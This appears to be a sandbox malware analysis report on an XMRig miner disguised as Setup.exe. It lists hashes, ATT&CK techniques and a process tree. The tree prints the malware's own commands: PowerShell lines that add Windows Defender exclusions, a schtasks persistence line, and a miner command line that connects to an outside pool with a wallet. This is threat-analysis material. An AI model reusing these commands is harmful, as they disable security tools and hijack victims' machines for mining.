xmrig | 643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b

Analysis

max time kernel
147s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
21-12-2024 17:21

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General

Target

Setup.exe
Size

29.8MB
MD5

f39a0615ad5482c3ffd8f46baeac3ac3
SHA1

e4cd77ab330f734e7a5253c07c559e8c92d88c35
SHA256

643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b
SHA512

fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481
SSDEEP

786432:PkvEnDem3vOYqVx9BvEiI8hXcclLOhiKw+HSD:svEn6mfN4xvcehFs7SD

Score

10^/10

xmrig execution miner

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral2/memory/412-74-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/412-72-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/412-80-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/412-81-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/412-79-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/412-78-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/412-76-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/412-84-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3420	powershell.exe
2892	powershell.exe
4260	powershell.exe
3128	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2200	services64.exe
1840	sihost64.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\services64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\sihost64.exe	conhost.exe
File created	C:\Windows\system32\Microsoft\Libs\WR64.sys	conhost.exe
File created	C:\Windows\system32\services64.exe	conhost.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4828 set thread context of 412	4828	conhost.exe	109

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4724	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5068	conhost.exe
2892	powershell.exe
2892	powershell.exe
4260	powershell.exe
4260	powershell.exe
4828	conhost.exe
4828	conhost.exe
3128	powershell.exe
3128	powershell.exe
3420	powershell.exe
3420	powershell.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe
412	explorer.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	5068	conhost.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	4260	powershell.exe
Token: SeDebugPrivilege	4828	conhost.exe
Token: SeDebugPrivilege	3128	powershell.exe
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeLockMemoryPrivilege	412	explorer.exe
Token: SeLockMemoryPrivilege	412	explorer.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 2712 wrote to memory of 5068	2712	Setup.exe	90
PID 2712 wrote to memory of 5068	2712	Setup.exe	90
PID 2712 wrote to memory of 5068	2712	Setup.exe	90
PID 5068 wrote to memory of 1404	5068	conhost.exe	91
PID 5068 wrote to memory of 1404	5068	conhost.exe	91
PID 1404 wrote to memory of 2892	1404	cmd.exe	93
PID 1404 wrote to memory of 2892	1404	cmd.exe	93
PID 5068 wrote to memory of 2840	5068	conhost.exe	94
PID 5068 wrote to memory of 2840	5068	conhost.exe	94
PID 2840 wrote to memory of 4724	2840	cmd.exe	96
PID 2840 wrote to memory of 4724	2840	cmd.exe	96
PID 1404 wrote to memory of 4260	1404	cmd.exe	97
PID 1404 wrote to memory of 4260	1404	cmd.exe	97
PID 5068 wrote to memory of 2036	5068	conhost.exe	98
PID 5068 wrote to memory of 2036	5068	conhost.exe	98
PID 2036 wrote to memory of 2200	2036	cmd.exe	100
PID 2036 wrote to memory of 2200	2036	cmd.exe	100
PID 2200 wrote to memory of 4828	2200	services64.exe	103
PID 2200 wrote to memory of 4828	2200	services64.exe	103
PID 2200 wrote to memory of 4828	2200	services64.exe	103
PID 4828 wrote to memory of 3612	4828	conhost.exe	104
PID 4828 wrote to memory of 3612	4828	conhost.exe	104
PID 3612 wrote to memory of 3128	3612	cmd.exe	106
PID 3612 wrote to memory of 3128	3612	cmd.exe	106
PID 3612 wrote to memory of 3420	3612	cmd.exe	107
PID 3612 wrote to memory of 3420	3612	cmd.exe	107
PID 4828 wrote to memory of 1840	4828	conhost.exe	108
PID 4828 wrote to memory of 1840	4828	conhost.exe	108
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 4828 wrote to memory of 412	4828	conhost.exe	109
PID 1840 wrote to memory of 1280	1840	sihost64.exe	110
PID 1840 wrote to memory of 1280	1840	sihost64.exe	110
PID 1840 wrote to memory of 1280	1840	sihost64.exe	110

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2712
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5068
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1404
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2892
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4260
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2840
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Windows\system32\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4724
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Windows\system32\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2036
  - - C:\Windows\system32\services64.exe
      C:\Windows\system32\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2200
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Windows\system32\services64.exe"
        5⤵
        Drops file in System32 directory
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4828
      - C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3612
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3420
      - C:\Windows\system32\Microsoft\Libs\sihost64.exe
        
        "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1840
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        
        PID:1280
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=44uwibUE5EF8oiYGZWhDJ6YxTYoL8YgzyYw5ofRojJrtZydAndawV157eimKXonkgsi8ZNdvRq22xC6dmxwmq2tpQ4nTUDe --pass= --cpu-max-threads-hint=20 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:412

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
23867f73ff39fa0dfee6cfb5d3d176ab

SHA1
8705a09d38e5f0b034a6f4b4deb5817e312204e1

SHA256
f416e8f8135e0d7a3163860b44fe7ebc8ca0f42e783e870e6ec74e3b6da44f88

SHA512
108dc8ff63b1e222a8a6311af329e8f3376bc356b4946d958a68d8e3d4c54356a3a9851fd689b0a5d4f3f27b47ec03aa0672cee1fba3047079642db0b7603ea1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
9a2c763c5ff40e18e49ad63c7c3b0088

SHA1
4b289ea34755323fa869da6ad6480d8d12385a36

SHA256
517807921c55bd16cd8a8bfae3d5dc19444c66f836b66acd5593e3080acbaf8e

SHA512
3af01926bc7de92076067d158d7250b206d396b3282ee0db43639d04d91bd9ff763acbce12c7822914824984a3c5fdd1b8dbf1ad2ee88233d47f0f808b746bc8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
a2c8179aaa149c0b9791b73ce44c04d1

SHA1
703361b0d43ec7f669304e7c0ffbbfdeb1e484ff

SHA256
c1d30342a40a2b6e7553da30ceb85754d33820f6fbb3bbbed1ceb30d6390de4a

SHA512
2e201dd457d055baad86f68c15bcc7beb48d6dc2ffc10db7f304eb93f697e7b45991cbde857d25da2c9c60c23f3e13df8b5ed5809c1753737a23096e296cc9e3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_puqasvg0.4xc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System32\Microsoft\Libs\sihost64.exe

Filesize
32KB

MD5
554b19e8d2cd3728ec5557c08cd2151b

SHA1
7f22b80a8b3a141a93735f4423fda76f914dd92c

SHA256
53b161d512a4cc0e7ad58be8bb5155e37399afe56cd7df38e9f0c4f09bb1cf56

SHA512
46103c9ffb4483107ad0f5b91aba14464747a75a058d2610714f7155e0c014b094de0fb7f40d1515a008f70763131a4b7964d739a2e4381ac38a47755f6938a0

Download Submit
C:\Windows\System32\services64.exe

Filesize
29.8MB

MD5
f39a0615ad5482c3ffd8f46baeac3ac3

SHA1
e4cd77ab330f734e7a5253c07c559e8c92d88c35

SHA256
643494eec31570d49b4b101281ae8d5c58ebcb7311ccece8d1c478fefbadde9b

SHA512
fecb43e388dd09421083554def45d750ae848cacd061c078a7a5e02820edd3ca761240fd0a6ec2672223afe07b887d6d789f7ae9c65f40b9437196427f001481

Download Submit
memory/412-72-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/412-79-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/412-84-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/412-76-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/412-78-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/412-81-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/412-80-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/412-74-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/412-75-0x0000000000800000-0x0000000000820000-memory.dmp

Filesize
128KB

Download
memory/1280-83-0x000002465E470000-0x000002465E476000-memory.dmp

Filesize
24KB

Download
memory/1280-82-0x000002465C950000-0x000002465C957000-memory.dmp

Filesize
28KB

Download
memory/2892-8-0x00000208A63F0000-0x00000208A6412000-memory.dmp

Filesize
136KB

Download
memory/5068-36-0x00007FFFD1780000-0x00007FFFD2241000-memory.dmp

Filesize
10.8MB

Download
memory/5068-0-0x0000019EB2F20000-0x0000019EB4CDF000-memory.dmp

Filesize
29.7MB

Download
memory/5068-5-0x0000019EB8600000-0x0000019EB860A000-memory.dmp

Filesize
40KB

Download
memory/5068-2-0x00007FFFD1780000-0x00007FFFD2241000-memory.dmp

Filesize
10.8MB

Download
memory/5068-4-0x0000019EB85C0000-0x0000019EB85D2000-memory.dmp

Filesize
72KB

Download
memory/5068-32-0x00007FFFD1780000-0x00007FFFD2241000-memory.dmp

Filesize
10.8MB

Download
memory/5068-6-0x00007FFFD1780000-0x00007FFFD2241000-memory.dmp

Filesize
10.8MB

Download
memory/5068-3-0x0000019ED2DC0000-0x0000019ED4B7E000-memory.dmp

Filesize
29.7MB

Download
memory/5068-1-0x00007FFFD1783000-0x00007FFFD1785000-memory.dmp

Filesize
8KB

Download
memory/5068-7-0x00007FFFD1780000-0x00007FFFD2241000-memory.dmp

Filesize
10.8MB

Download